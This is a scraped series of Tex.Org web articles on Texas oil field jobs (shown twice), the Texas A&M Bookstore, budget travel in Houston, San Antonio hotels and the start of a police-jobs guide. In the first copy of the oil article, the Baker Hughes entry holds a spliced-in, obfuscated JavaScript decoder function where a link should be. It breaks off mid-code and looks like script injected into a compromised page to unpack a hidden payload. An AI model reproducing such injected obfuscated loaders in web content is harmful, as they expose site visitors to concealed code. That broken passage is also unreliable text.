Oil Field Jobs in Texas

By Paul Titley, Tex.Org Contributor

Oil field jobs in Texas are growing due to oil’s high price and demand throughout the country.  Texas has the highest oil output of any US state – producing around sixty million barrels of crude oil every month.  This equates to approximately one third of the USA’s entire crude oil production.  This level of oil production naturally generates a large number of oil-related jobs within the state.

Oil field workers can generally find jobs in the larger oil producing areas of the state.  The largest fields can be found at Spraberry Trend, in West Texas, which spreads over 2,500 square miles, and the East Texas oil fields which contain more oil than any other oil field in the United States.  There are hundreds of oil companies in Texas, and there are a wide range of available jobs for those willing to learn and work really hard.  Contrary to popular belief, oil companies in Texas are not merely seeking employees to assist in digging wells and extracting crude oil.  They are also interested in recruiting jobs away from their drilling platforms.  Jobs like back office accounting and legal work are plentiful in the offices of the most successful firms.  When asked for details of the most recently advertised oil field jobs in Texas, one recruiter provided a surprising breadth of opportunities.

Recent Job Postings

The three most recently posted jobs were advertised by oil companies in Houston and had a wide range of required skill sets.  The first job posting was seeking an office based Data Administrator.  The second, a position opening for a Senior Geo-scientist and the third was seeking an experienced Drilling Engineer.  There are available jobs for office workers, physical jobs out in the fields and potentially, positions with international travel potential for those in sales and business development.  The oil industry in Texas is thriving, so check out the profiles of the oil companies below for detailed opportunities to work in the Texas oil fields.

So who’s hiring?

Because we want you to get a good paying job in the industry, here is a list of current employers who are drilling black gold in Texas:

  1. Schneider National hires oil field drivers with a Class A Commercial Drivers License (CDL) license and are paying up to $60,000.  If you’re interested in driving with Schneider, you can contact them at 920-592-4451.  You should have a tanker license and be eligible for hazardous material certifications within 30 days.  Before you call though, we recommend you submit an application through their web site at:  Oil Field Jobs At Schneider.  Once complete call the above number to find out about openings and locations.  If you’re a truck driver, you won’t be disappointed with their compensation package.
  2. Baker Hughes is another company that offers solutions for offshore oil rigs around Texas.  They typically hire and train their personnel after making sure their applicants are physically fit and have a mechanical aptitude.  Baker Hughes operates out of Houston Texas and is located at 4101 Oates Rd. in Houston, Texas.  They conituously hire and train offshore workers in a variety of areas.  If you’re thinking about working for Baker, you should check out their web site and job board:  function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-apply” target=”_blank”>Baker Hughes.  This is an outstanding company to work for and we know from our associates, they pay very well.  This is one of the few companies who will make the investment in training if you are seeking an entry level oil field job.
  3.  Haliburton also provides oil field jobs in Texas.  They operate throughout the state and are a very good company to work.  They also provide incredibly competetive salaries and value their employees.  As if this weren’t enough, they also have exceptional training opportunities and programs throughout their employment network.  We highly recommend this company as a candidate for your future job.  If you’re interested, please visit their website at:  Haliburton Jobs.
  4. Transocean is an off shore employer who may not be readily found on the job boards.  They are a publicly traded company doing business across the globe.  Ironically, their website is http://deepwater.com.   Visit them to apply with a great company.  They operate in Texas from their Houston office located at:  4 Greenway Plaza, Houston, TX 77046.  Their phone number at this office is (713) 232-7500.
  5. Ensco is also an offshore employer claiming to be the second largest offshore driller in the world.  They typically hire experienced employees but will occasionally train the “right” entry level employee with the right attitude, aptitude, and capability.  You can access Ensco’s career page at:  Ensco.  They have an office located in Houston Texas.  You can contact them directly at:  5847 San Felipe, Suite 3300 Houston, TX 77057-3008, Phone: (713) 789-1400, Toll Free at: (800) 423-8006.
  6. Chevron:  After checking their web site, we decided to add Chevron to our list of potential employers.  We noticed right away, that Chevron is a “powerhouse” when it comes to oil field employment.  We noticed more than 190 available vacancies just in the state of Texas.  They also hire on a global scale with positions ranging from South America to the Far East.  After taking a look at Chevron’s benefits package, we thought we’d suggest them in this article as they are nothing short of a GIANT in a huge industry.  Their compensation package suggests that they value their human capital and take very good care of their employees.  You can apply right on their site at Chevron Jobs.
  7. Helmerich and Payne, Inc.:  Here’s a little known company who’s a very big player in the oil drilling industry.  The company really likes to train and then keep their employees for a very long time, so they don’t have a lot of turnover.  If you’re lucky enough to get on with H and P, you’ll be in very good hands with an incredible benefits package including 401K, healthcare, etc.  This is one of the few employers we surveyed who is actively recruiting for entry level positions.  Check out their employment page at: http://www.hpinc.com/.

Oil field companies hire a wide range of employees with varying skill sets.  If you don’t think you’ll qualify for a particular position, go ahead and apply anyway.  Recruiters will review your resume, and if you don’t qualify for the specific job you’re applying to, you may be matched to another opening that’s available within the company.  There are a number of multinational companies that have operations all over the world – and jobs that start out in the oil fields have a significant chance of growing into roles based elsewhere in the US or internationally.

Types Of Oil Field Related Jobs In Texas

Driller in Texas Oil Field
Driller in Texas Oil Field Driller in Texas Oil Field

The Oil Driller:  The “Driller” is responsible for the entire drilling operation.  This is usually a seasoned veteran in the industry with several years of experience.  The driller typically monitors day-to-day operations, builds his crew, hires and fires personnel and monitors drilling operations while the rig is drilling for oil.

The “Automatic Driller”:  This individual is responsible for actually operating the drilling platform and drilling the whole.  This involves monitoring gas levels at each stage of the operation and reporting to the driller whenever a suspected safety issue arises.  The Driller is then charged with assessing the situation and taking preventive measures to ensure a catastrophic event doesn’t occur.

The Roughneck:  This is a generic term used to describe the laborers working on or around the rig.  The following is a complete list of roughneck duties:

  • The oilfield “Roustabout” is responsible for cleaning the rig.  This individual may also be called on to occasionally pain the oil field platform rig during periods of down-time.  This is a very important position for the driller as keeping a clean rig is a critical component of safety making it easy to perform continuous maintenance on the rig.  A good Roustabout can be worth his weight in gold if they’re good.  The Roustabout is usually an entry level job that leads to higher paid positions.
  • The “Toolpusher” is one of the highest position on the rig.  They are usually on site during the day for 8 to 12 hours per day.  The tool pusher’s job is to make sure the rig is supplied with everything they need to conduct operations.  They also supervise a number of personnel and are considered to be a serious leader on the rig.
  • The individual responsible for all the grease that is used for drilling operations is referred to as the “Derrick Hand.”  Drilling grease, sometimes referred to as “mud” is used constantly throughout the drilling operation, precipitating the need for the Derrick Hand.  This person also may act in a supervisory capacity when the driller isn’t available to give direction.

Entry Level Oil Worker Jobs

Believe it or not, Texas oilfields are a great place to find an entry-level job.  Those graduating from college are beloved by the oil industry as long as they have the right degrees.  There are literally hundreds of vacancies for those with various types of engineering degrees.  The oil industry recruiters are seething to get their hands on you right now.  They usually put their degree’d workers into an internship program, develop them, and will then send you out into the field.  The internships last anywhere from 6 months to well over a year and usually require you to sign an employment contract.  While paid fairly low at the beginning, you can expect to be handsomely rewarded for your patience as long as you produce good quality work.  If you don’t have a degree, don’t worry and don’t be afraid to apply.  While non-degree’d positions are much more competitive, they’re still out there and they’re still in high demand.  Never, ever be afraid to apply and put in your resume-if you’re a hard worker and have a good head on your shoulders, the Texas oil field recruiters are still interested in you.  A piece of advice though…  Try applying directly into the company web sites, like those listed above.  There are far fewer “layers” going this way, rather than applying through the various job boards like Monster and Indeed.  The Floorman is an “entry level job” primarily responsible for performing a series of manual labor tasks all through the rig location, including: rig setup and tear down activities, general repairs and maintenance on rig components, conduct assigned activities on the rig floor, and assisting the Derrickman with mud mixing duties, and numerous other duties.

What About Pay?

Money In Texas Oil Graphic Courtesy of Dreamstime.Com
Money In Texas Oil Graphic Courtesy of Dreamstime.Com Money In Texas Oil Graphic Courtesy of Dreamstime.Com

Pay in Texas oil fields can be really good.  It’s very hard work and you’ll spend time away from your family;  but, if you’re willing to make the sacrifice, entry-level jobs can pay upwards of $50,000 a year.  Derrick hands can earn in the neighborhood of $70,000, while most offshore workers clear well over a $100,000 with the right skill sets and experience.  If you’re ambition is to work on an offshore rig, you’ll have to be in exceptional health and be willing to be away from home for a minimum of two weeks per month.  Yes, it’s painful but very rewarding financially.  Most people we’ve met absolutely love it!

The largest proportion of oil field jobs in Texas are either related to the identification or the extraction of oil.  There are also plenty of “back room” business and administrative jobs within virtually all oil companies.  Oil field jobs relating to the physical extraction of oil are often more specialized, and need a combination of experience and qualifications.  For example, a senior drilling engineer will likely be expected to have an Engineering degree from an accredited university, as well of a number of years experience working within the oil industry.

Many oil field jobs, however, do not require the same level of specialization.  Sales, administrative and financial positions will still be appointed based on the applicants level of experience.  The potential employment experience may not require specific oil industry experience.  For example, qualified accountants who have worked for a number of years in a manufacturing or the food industry will have developed the transferrable skills that may attract the oil companies in Texas.

Texas Gulf Coast Oil Platform

The oil industry in Texas continues to grow as extraction techniques improve and the demand for oil remains high.  While this trend is expected to continue, there will be oil industry jobs in Texas well into the future, many of them with some of the world’s largest corporations, providing security and further career growth opportunities for successful individuals.

It’s All About Oil Production When It Comes To Jobs

If you’re wondering just how much oil is produced in the great state of Texas, just imagine “1.5 million barrels a day”….  That level is up 37 percent from May of 2012 to May of 2013.  In fact, oil drilling permit requests have gone up 13 percent as new drilling techniques are used to drill the Permian and Eagle Ford “Shale” formations.  At the end of the day, this means increased demand and higher wages for Texas oil workers.  If you’re on the fence about entering the Texas oil fields, maybe it’s time to get off and go apply for one of those high paying oil worker positions.  There’s plenty of them out there folks and the pay’s actually getting better over time because many of the oil industry workers have migrated north for higher paying jobs, leaving a fairly significant void in the Texas oil fields.

The Eagle Ford Shale Formation

The ability to “frack” oil out of the Eagle Ford Shale formations has added thousands of jobs to the Texas oil footprint.  This formation begins in Southeast Texas and continues all the way up to the Dallas Fort Worth Metroplex.  It contains several hundred drilling operators and continues to produce thousands of barrels of oil daily.  If you’re looking for a job in the oilfields, the Eagle Ford Shale locations seen below is a great place to start!  According to stateimpact.npr.org, these drilling operators have already added over $87B in Texas economic impact, and if you’re in the industry, you should be getting your share of it, if you’re not already.

Courtesy of EagleFordShale.Com

 Courtesy of EagleFordShale.Com

As I’ve stated, working in the oil fields is very demanding and requires time away from your family and loved ones.  If you’re in good physical condition and willing to go through some training, you might want to consider a different field.  We’re working on a series of pieces that explores different opportunities for high demand jobs.  Our most recent piece is on police jobs in Texas.  You can check it out here on Tex.Org.  http://tex.org/where-to-find-police-jobs-in-texas/.

Texas A&M Bookstore

Those visiting the Texas area looking for a little bit of retail therapy, combined with a some local history and culture could do a lot worse than heading to the Texas A&M Bookstore.  Based on a leafy boulevard around two miles East of Eastwood airport, this is not, as the name suggests, a mere bookstore. As can be distinguished from the name, Texas A&M Bookstore is closely affiliated with Texas A&M University.  In support of this affiliation, the store provides a broad range of university related merchandise as well as ensuring the university students have access to the learning material required for their studies.  The selection you’ll find here is nothing short of incredible!

photo of A&M jerseys sold in the bookstore

Texas A&M Bookstore originally set out to supply the text books required by students of Texas A&M university, and this remains one of the main purposes of the store.  To support the student body, the store supplies books on a vast range of subjects.  The bookstore provides a both an in-store and online database, allowing students to identify and request books specific to their courses.  In addition, the bookstore offers a wide selection of used text books – heavily in demand from students with limited budgets and loans to consider, and is now providing a rental service for books that are needed for a short amount of time.

a&m bookstore computer sales area

Beyond the books, Texas A&M Bookstore provides a huge range of merchandise, particularly clothing.  The university’s sports teams inspire a large proportion of the clothing on offer – sweatshirts, polo shirts and replica sports shirts are available in all styles and sizes for both male and female shoppers. Children are also well catered for – clothing and hats are available for the younger supports of Texas A&M’s sports teams.

All merchandise is heavily influenced by the traditional A&M sports colors; maroon and white.  The teams are affectionately known as the “Aggies” – referring to the numerous agricultural schools in the local area.

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The merchandise is, however, not limited to clothing.  The store also provides supplies for fans going to games with flags, pennants and car accessories all available.  This selection extends to a number of gifts – pens, jewellery and stuffed animals can all be purchased at the store.

The committed fans can go a few steps further, with fans being given the opportunity to sport Texas A&M headbands, paying for their tickets from their A&M wallets.  The game day tailgate traditions are also catered for as the store offers napkins, a metal water pail and, for those planning a long afternoon, a tail gate tent to shield supports from the afternoon sunshine.

Away from the “Aggies” merchandise, the store also stocks stationery supplies for the more day-to-day needs of the student population. Supplies of light bulbs, padlocks and printer ink cartridges are also available.

a&m bookstore sales on the football field

The store is open seven days a week. Monday thru Friday the store is open 8am thru 6pm.  On Saturday, hours are reduced to 10am thru 5pm, and Sunday 12pm to 5pm.

The Texas A&M Bookstore can be found on Joe Routt Boulevard, off Wellborn road.  The store forms part of Texas A&M’s Memorial Student Centre Building.
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Oil Field Jobs In Texas

By Paul Titley, Tex.Org Contributor

Oil field jobs in Texas are growing due to oil’s high price and demand throughout the country.  Texas has the highest oil output of any US state – producing around sixty million barrels of crude oil every month.  This equates to approximately one third of the USA’s entire crude oil production.  This level of oil production naturally generates a large number of oil-related jobs within the state.

Oil field workers can generally find jobs in the larger oil producing areas of the state.  The largest fields can be found at Spraberry Trend, in West Texas, which spreads over 2,500 square miles, and the East Texas oil fields which contain more oil than any other oil field in the United States.  There are hundreds of oil companies in Texas, and there are a wide range of available jobs for those willing to learn and work really hard.  Contrary to popular belief, oil companies in Texas are not merely seeking employees to assist in digging wells and extracting crude oil.  They are also interested in recruiting jobs away from their drilling platforms.  Jobs like back office accounting and legal work are plentiful in the offices of the most successful firms.  When asked for details of the most recently advertised oil field jobs in Texas, one recruiter provided a surprising breadth of opportunities.

Recent Job Postings

The three most recently posted jobs were advertised by oil companies in Houston and had a wide range of required skill sets.  The first job posting was seeking an office based Data Administrator.  The second, a position opening for a Senior Geo-scientist and the third was seeking an experienced Drilling Engineer.  There are available jobs for office workers, physical jobs out in the fields and potentially, positions with international travel potential for those in sales and business development.  The oil industry in Texas is thriving, so check out the profiles of the oil companies below for detailed opportunities to work in the Texas oil fields.

So who’s hiring?

Because we want you to get a good paying job in the industry, here is a list of current employers who are drilling black gold in Texas:

  1. Schneider National hires oil field drivers with a Class A Commercial Drivers License (CDL) license and are paying up to $60,000.  If you’re interested in driving with Schneider, you can contact them at 920-592-4451.  You should have a tanker license and be eligible for hazardous material certifications within 30 days.  Before you call though, we recommend you submit an application through their web site at:  Oil Field Jobs At Schneider.  Once complete call the above number to find out about openings and locations.  If you’re a truck driver, you won’t be disappointed with their compensation package.
  2. Baker Hughes is another company that offers solutions for offshore oil rigs around Texas.  They typically hire and train their personnel after making sure their applicants are physically fit and have a mechanical aptitude.  Baker Hughes operates out of Houston Texas and is located at 4101 Oates Rd. in Houston, Texas.  They conituously hire and train offshore workers in a variety of areas.  If you’re thinking about working for Baker, you should check out their web site and job board:  Baker Hughes.  This is an outstanding company to work for and we know from our associates, they pay very well.  This is one of the few companies who will make the investment in training if you are seeking an entry level oil field job.
  3.  Haliburton also provides oil field jobs in Texas.  They operate throughout the state and are a very good company to work.  They also provide incredibly competetive salaries and value their employees.  As if this weren’t enough, they also have exceptional training opportunities and programs throughout their employment network.  We highly recommend this company as a candidate for your future job.  If you’re interested, please visit their website at:  Haliburton Jobs.
  4. Transocean is an off shore employer who may not be readily found on the job boards.  They are a publicly traded company doing business across the globe.  Ironically, their website is http://deepwater.com.   Visit them to apply with a great company.  They operate in Texas from their Houston office located at:  4 Greenway Plaza, Houston, TX 77046.  Their phone number at this office is (713) 232-7500.
  5. Ensco is also an offshore employer claiming to be the second largest offshore driller in the world.  They typically hire experienced employees but will occasionally train the “right” entry level employee with the right attitude, aptitude, and capability.  You can access Ensco’s career page at:  Ensco.  They have an office located in Houston Texas.  You can contact them directly at:  5847 San Felipe, Suite 3300 Houston, TX 77057-3008, Phone: (713) 789-1400, Toll Free at: (800) 423-8006.
  6. Chevron:  After checking their web site, we decided to add Chevron to our list of potential employers.  We noticed right away, that Chevron is a “powerhouse” when it comes to oil field employment.  We noticed more than 190 available vacancies just in the state of Texas.  They also hire on a global scale with positions ranging from South America to the Far East.  After taking a look at Chevron’s benefits package, we thought we’d suggest them in this article as they are nothing short of a GIANT in a huge industry.  Their compensation package suggests that they value their human capital and take very good care of their employees.  You can apply right on their site at Chevron Jobs.
  7. Helmerich and Payne, Inc.:  Here’s a little known company who’s a very big player in the oil drilling industry.  The company really likes to train and then keep their employees for a very long time, so they don’t have a lot of turnover.  If you’re lucky enough to get on with H and P, you’ll be in very good hands with an incredible benefits package including 401K, healthcare, etc.  This is one of the few employers we surveyed who is actively recruiting for entry level positions.  Check out their employment page at: http://www.hpinc.com/.

Oil field companies hire a wide range of employees with varying skill sets.  If you don’t think you’ll qualify for a particular position, go ahead and apply anyway.  Recruiters will review your resume, and if you don’t qualify for the specific job you’re applying to, you may be matched to another opening that’s available within the company.  There are a number of multinational companies that have operations all over the world – and jobs that start out in the oil fields have a significant chance of growing into roles based elsewhere in the US or internationally.

Types Of Oil Field Related Jobs In Texas

Driller in Texas Oil Field
Driller in Texas Oil Field

The Oil Driller:  The “Driller” is responsible for the entire drilling operation.  This is usually a seasoned veteran in the industry with several years of experience.  The driller typically monitors day-to-day operations, builds his crew, hires and fires personnel and monitors drilling operations while the rig is drilling for oil.

The “Automatic Driller”:  This individual is responsible for actually operating the drilling platform and drilling the whole.  This involves monitoring gas levels at each stage of the operation and reporting to the driller whenever a suspected safety issue arises.  The Driller is then charged with assessing the situation and taking preventive measures to ensure a catastrophic event doesn’t occur.

The Roughneck:  This is a generic term used to describe the laborers working on or around the rig.  The following is a complete list of roughneck duties:

  • The oilfield “Roustabout” is responsible for cleaning the rig.  This individual may also be called on to occasionally pain the oil field platform rig during periods of down-time.  This is a very important position for the driller as keeping a clean rig is a critical component of safety making it easy to perform continuous maintenance on the rig.  A good Roustabout can be worth his weight in gold if they’re good.  The Roustabout is usually an entry level job that leads to higher paid positions.
  • The “Toolpusher” is one of the highest position on the rig.  They are usually on site during the day for 8 to 12 hours per day.  The tool pusher’s job is to make sure the rig is supplied with everything they need to conduct operations.  They also supervise a number of personnel and are considered to be a serious leader on the rig.
  • The individual responsible for all the grease that is used for drilling operations is referred to as the “Derrick Hand.”  Drilling grease, sometimes referred to as “mud” is used constantly throughout the drilling operation, precipitating the need for the Derrick Hand.  This person also may act in a supervisory capacity when the driller isn’t available to give direction.

Entry Level Oil Worker Jobs

Believe it or not, Texas oilfields are a great place to find an entry-level job.  Those graduating from college are beloved by the oil industry as long as they have the right degrees.  There are literally hundreds of vacancies for those with various types of engineering degrees.  The oil industry recruiters are seething to get their hands on you right now.  They usually put their degree’d workers into an internship program, develop them, and will then send you out into the field.  The internships last anywhere from 6 months to well over a year and usually require you to sign an employment contract.  While paid fairly low at the beginning, you can expect to be handsomely rewarded for your patience as long as you produce good quality work.  If you don’t have a degree, don’t worry and don’t be afraid to apply.  While non-degree’d positions are much more competitive, they’re still out there and they’re still in high demand.  Never, ever be afraid to apply and put in your resume-if you’re a hard worker and have a good head on your shoulders, the Texas oil field recruiters are still interested in you.  A piece of advice though…  Try applying directly into the company web sites, like those listed above.  There are far fewer “layers” going this way, rather than applying through the various job boards like Monster and Indeed.  The Floorman is an “entry level job” primarily responsible for performing a series of manual labor tasks all through the rig location, including: rig setup and tear down activities, general repairs and maintenance on rig components, conduct assigned activities on the rig floor, and assisting the Derrickman with mud mixing duties, and numerous other duties.

What About Pay?

Money In Texas Oil Graphic Courtesy of Dreamstime.Com
Money In Texas Oil
Graphic Courtesy of Dreamstime.Com

Pay in Texas oil fields can be really good.  It’s very hard work and you’ll spend time away from your family;  but, if you’re willing to make the sacrifice, entry-level jobs can pay upwards of $50,000 a year.  Derrick hands can earn in the neighborhood of $70,000, while most offshore workers clear well over a $100,000 with the right skill sets and experience.  If you’re ambition is to work on an offshore rig, you’ll have to be in exceptional health and be willing to be away from home for a minimum of two weeks per month.  Yes, it’s painful but very rewarding financially.  Most people we’ve met absolutely love it!

The largest proportion of oil field jobs in Texas are either related to the identification or the extraction of oil.  There are also plenty of “back room” business and administrative jobs within virtually all oil companies.  Oil field jobs relating to the physical extraction of oil are often more specialized, and need a combination of experience and qualifications.  For example, a senior drilling engineer will likely be expected to have an Engineering degree from an accredited university, as well of a number of years experience working within the oil industry.

Many oil field jobs, however, do not require the same level of specialization.  Sales, administrative and financial positions will still be appointed based on the applicants level of experience.  The potential employment experience may not require specific oil industry experience.  For example, qualified accountants who have worked for a number of years in a manufacturing or the food industry will have developed the transferrable skills that may attract the oil companies in Texas.

Texas Gulf Coast Oil Platform

The oil industry in Texas continues to grow as extraction techniques improve and the demand for oil remains high.  While this trend is expected to continue, there will be oil industry jobs in Texas well into the future, many of them with some of the world’s largest corporations, providing security and further career growth opportunities for successful individuals.

It’s All About Oil Production When It Comes To Jobs

If you’re wondering just how much oil is produced in the great state of Texas, just imagine “1.5 million barrels a day”….  That level is up 37 percent from May of 2012 to May of 2013.  In fact, oil drilling permit requests have gone up 13 percent as new drilling techniques are used to drill the Permian and Eagle Ford “Shale” formations.  At the end of the day, this means increased demand and higher wages for Texas oil workers.  If you’re on the fence about entering the Texas oil fields, maybe it’s time to get off and go apply for one of those high paying oil worker positions.  There’s plenty of them out there folks and the pay’s actually getting better over time because many of the oil industry workers have migrated north for higher paying jobs, leaving a fairly significant void in the Texas oil fields.

The Eagle Ford Shale Formation

The ability to “frack” oil out of the Eagle Ford Shale formations has added thousands of jobs to the Texas oil footprint.  This formation begins in Southeast Texas and continues all the way up to the Dallas Fort Worth Metroplex.  It contains several hundred drilling operators and continues to produce thousands of barrels of oil daily.  If you’re looking for a job in the oilfields, the Eagle Ford Shale locations seen below is a great place to start!  According to stateimpact.npr.org, these drilling operators have already added over $87B in Texas economic impact, and if you’re in the industry, you should be getting your share of it, if you’re not already.

Courtesy of EagleFordShale.Com

 Courtesy of EagleFordShale.Com

As I’ve stated, working in the oil fields is very demanding and requires time away from your family and loved ones.  If you’re in good physical condition and willing to go through some training, you might want to consider a different field.  We’re working on a series of pieces that explores different opportunities for high demand jobs.  Our most recent piece is on police jobs in Texas.  You can check it out here on Tex.Org.  http://tex.org/where-to-find-police-jobs-in-texas/.

How To Visit Houston On The “Cheap”

If you’re planning a trip to Houston and don’t have alot of money to spend on lavish hotels, you should consider some of Houston’s well kept secrets.  You don’t have to spend an arm and a leg to enjoy Houston, just a little “pre-planning” and you can have a wonderful time with very little money.

Houston International Hostel Exterior

Try A Houston Hostel

Hotels in this area can vary widely, with some charging upwards of $500/night.  If you’re ok hanging out with some permanent residents and pseudo “hippies”, you might want to consider the Houston International Hostel located at 5302 Crawford Street.  This hostel is priced in the $20-25/night range and offers easy access to downtown museums and the light rail, but beware the backpackers and old furniture.  While dated, the hostel sports a full time staff and looks to be safe for its residents.  If you want to make a reservation, just call:  713-523-1009 and the staff their will be glad to make you a reservation for your stay.

How About A Campground?

Houston KOA at 1620 Peach Leaf
Houston KOA at 1620 Peach Leaf

If “hostels” aren’t your thing, why not bring your tent and go camping?  Just 12 miles north of the downtown area, you can find a KOA Campground located at 1620 Peach Leaf.  This site is exceptionally clean and wooded.  Its a stone throw away from George Bush Intercontinental airport and includes a store, laundry and playground for the kids.  Rates are reasonable with tent sites costing around $20/night, and RV sites costing $36/night.  To make a reservation, just phone 281-442-3700 to speak with their pleasant staff members.

Best Places To Eat Cheap

If you’re already in the downtown area, be sure to stop by “Les Givral’s” on 801 Congress Street.  This location is highly touted by Houston office workers as the “go to” location for Vietnamese cuisine.  Most meals cost between $3 and $8 dollars and all are absolutely “delish!”  If you’re curious about their menu, give them a call at 713-547-0444.  The staff their is very friendly and they’ll be happy to serve you.

Houston Les Givrals

If you’re in the mood for a homemade burger, be sure to check out the “Hubcap Grill” at 1111 Prairie Street.  Unbelievably, everything in this restaurant is made from scratch to include their fresh baked buns and hand cut fries.  This is probably my favorite place to eat on the cheap as most meals are $4 to $8 dollars each and I mean to tell you, they really fill you up!  We recommend their “Quadruple Heart Clogger” burger if you need some calories and a little something extra to get you through the day.  All their salads are excellent and you can sit out on the patio if you’re there on a nice day.  If you’d like to call ahead, you can call them at 713-223-5885.

If you’ve got a “hankerin” for some southern cuisine, be sure to stop by the “Zydeco Louisiana Diner” at 1119 Pease Street where good ole fashion Cajun meals can be had for $6 to $9 dollars each.  Crawfish, jambalaya, and etouffee are some of the local favorites, but their po’ boys are to die for!  Call and see what their “special of the day” is at 713-759-2001.

We’re a little reluctant to tell you about this last recommendation because we’d hate to see it crowded when we go their to eat.  After much debate though, we’re going to divulge our “local favorite”…  It’s “Treebeards” on 315 Travis Street.  This restaurant is a little more pricey, but certainly not much…. Meals here average from $6 to $19, but the quality of food is nothing short of incredible.  Our favorite dish is the “jerk chicken” which comes served with red beans and rices, as well as buttered corn for right around $10.  This dish is a little spicy, but not over the top and has an addictive quality that we can’t quite describe, but it’s nothing short of exceptional!  You can call ahead to see if they’re doing something different or find out what their specials are for the day at 713-337-7321.

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The Best Hotels In Downtown San Antonio

As the 2nd largest city in the state of Texas and the 7th largest in the US, San Antonio has much to offer for tourists and businessmen alike. It is considered to be one of the fastest growing cities in the United States and this is reflected by the amount of people that come and visit San Antonio every year. Annually, San Antonio is visited by over 28.1 visitors for its cultural landmarks, top-notch restaurants and amusement parks.  San Antonio is also the location of excellent hotels. When you are looking for a hotel, it is best to find one in downtown San Antonio as that is where most of the tourist attractions are easily reachable from by public transportation. Originally, we wanted to present you with the top 5 hotels in downtown San Antonio. While the Valencia Hotel, the Omni Hotel and the hotel Malta would definitely belong in such a top 5 of top hotels spot, we feel that there are many hotels near the River Walk that are also great places for visitors to stay.  Downtown Hotel Rankings

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The Valencia Hotel in San Antonio is known for its luxury and prime location in downtown San Antonio. The hotel itself is a combination where classic meets hip meeting all high standards for any luxurious hotel. The Valencia Hotel is one of the hotels that is located near the vibrant River Walk. The River Walk is known to be one of the most exciting places of San Antonio and offers a variety of shopping and entertainment choices. Going to the cinema is also an experience you should definitely try, as the The Alamo Drafthouse cinema is only a few blocks away.

Hotel Valencia

The Omni Hotel in San Antonio is another famous luxurious hotel.  Rising 19 stories into the air, the hotel is one of the most prominent buildings in downtown San Antonio. While offering ample space for guests to stay, the hotel has much to offer. Live piano music is played in the Lobby Bar, there are pools, luxurious suites that are all decorated with a sense of class and style. In addition, the hotel is near some of the most spectacular places in San Antonio such as the Alamo, Sea World and of course the enchanting River Walk.

Omni-Dallas-Hotel

Visiting San Antonio – The Alamo City

There are three distinctively different geological terrains at the San Antonio. Hill Country with its rich cultural history, South Texas Plains, with its unique desert landscape and Prairie and Lakes, mostly known for its beautiful countryside. As a result, San Antonio lies at a prime location in Texas with plenty of options for each type of visitor.

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San Antonio has a lot to offer.  Whether you like theme parks such as SeaWorld San Antonio, Morgan’s Wonderland or Six Flags Fiesta Texas or visiting the Alamo, a cultural landmark of San Antonio, there is something available for everyone.  A little random fact about the city is that  San Antonio is also home as the birthplace of the spicey stew which we all know and love as chili.  The city’s skyline is characterized by the Tower of the Americas.  This 750-foot observation tower is located in the middle of HemisFair Park and is a must-see for tourists.  The tower also has a slowly rotating restaurant at the top. The downtown area provides a very special atmosphere and is home to many cultural and entertainment venues. The cathedral of San Fernando can be found there, the oldest cathedral in the United States.

sea world san antonio

Or if you are more interested in the historic side of San Antonio, you can visit the Spanish governor’s palace or the Alamo. The Alamo is the most famous landmark of the entire city.  The Alamo, located downtown, was officially called Mission San Antonio de Valero and is the fortress compound that was at the site f the great Battle of the Alamo.  Nowadays, its home to a museum and is the biggest tourist attraction of San Antonio Another famous tourist attraction in San Antonio is the River Walk.

The River Walk is a network of walkways that are located along the San Antonio River. There are many hotels near the River Walk where tourists like to stay  and the entire walk is lined with shops, restaurants and bars. Not only a tourist attraction, it is also home to a very successful pedestrian street combining both the shortest route to a destination with a beautiful walk. Boats can be hired that go up and down the River Walk for those who don’t like walking but are only interested in the view.  San Antonio is known for its Spanish and Mexican Heritage. Each year, the city attracts 3.5 million people and 100+ events in Fiesta week which honors the memory of the battles of San Jacinto and The Alamo. During Fiesta San Antonio, the San Antonio river is the location for the River parade in which boats that are full with flowers float down the river.

river walk san antonio texas

All in all, there is plenty to say about San Antonio. Whether you are looking for a romantic walk down the River Walk or if you want to enjoy one of the hotels, restaurants or shops. Maybe you would like to visit some of the theme parks or enjoy the city for its cultural and historical history. No matter what you look for, San Antonio has got plenty to offer and is one of the United States most famous places to go to for a holiday or a city trip for good reasons.

San Antonio explodes with arts and culture, history, world-class cuisine, championship golf and opportunities for fun and romance. A cosmopolitan city, the seventh largest in the United States, San Antonio captures the independent spirit of Texas, as well as old-world charm. With more than twenty million visitors a year, San Antonio is (and always has been) a crossroads and a meeting place for Texans as well as travelers from all over the United States and the world. Below is a video that gives a glimpse into what San Antonio has to offer.

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Where To Find Police Jobs In Texas

If you’re looking for one of the many police jobs in Texas, you should first start by asking yourself which community you’d like to live in and whether or not you have personal or family ties to the people there.  Right off the bat, you’ll have some “skin in the game” because you’ve got a reason to protect and serve.  It does little good if you are not motivated by something that drives you; service, be it to your local community or a community that’s far away from requires some due diligence, so take your time, conduct a little research with Google. search, and find a great Texas town that you’d be willing to protect with your own life.  You should also ask yourself lots of questions and make a well informed decision before beginning your journey.

Questions like:

  • Are you looking to work in a metropolitan city?
  • Do you prefer to work in a small town?
  • What specific type of police work are you interested in?
  • Will policing your community give you a strong sense of satisfaction?
  • Can I meet the tough selection criteria?
  • Am I willing to move around for promotions?
  • Are my community relationships strong enough for me to make the ultimate sacrifice?

There are a few options when looking for police officer jobs that you may want to consider.  You may decide to work for one of the following agencies; but be prepared for a lengthy recruitment process as these agencies are very careful when hiring their staff:

  1. County
  2. City
  3. Universities and colleges
  4. Independent school districts
  5. Federal detention facilities

For a complete list of agencies for each category listed above see http://en.wikipedia.org/wiki/List_of_law_enforcement_agencies_in_Texas Getting a general idea of which direction you would like to go in will help you to make a decision that is right for you.

Who’s Hiring?

Policeman After Being Hired
Policeman After Being Hired

